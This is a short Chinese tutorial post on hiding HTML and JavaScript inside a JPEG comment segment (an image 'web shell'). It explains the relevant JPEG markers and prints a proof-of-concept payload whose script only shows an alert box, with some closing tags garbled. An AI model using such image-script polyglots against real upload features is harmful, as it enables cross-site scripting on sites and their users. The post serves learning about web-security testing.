JPEG文件内嵌HTML代码(JavaScript型图片马)

基础概念

0xFFD8:jpeg文件开始标志;
0xFFFE:jpeg文件注释开始标志;
0x0166:注释后紧跟的16进制数值,被选中部分长度为358字节,换算为16进制为166;
0xFFE0:标志图片内容开始。
JPEG文件内嵌HTML代码(JavaScript型图片马)_第1张图片
(图为winhex)

payload:

<html>
	<body>
	<style>body { visibility: hidden; } .n { visibility: visible; position: absolute; padding: 0 1ex 0 1ex; margin: 0; top: 0; left: 0; } h1 { margin-top: 0.4ex; margin-bottom: 0.8ex; }style>
<script>alert(/1/)script>
<div class=n><h1><i>This image is a page.i>h1>Just open it in new tab.
<p><img src="#" style="border: 1px solid crimson">
                    

你可能感兴趣的:(web安全,html,javascript,前端,图片马,web安全)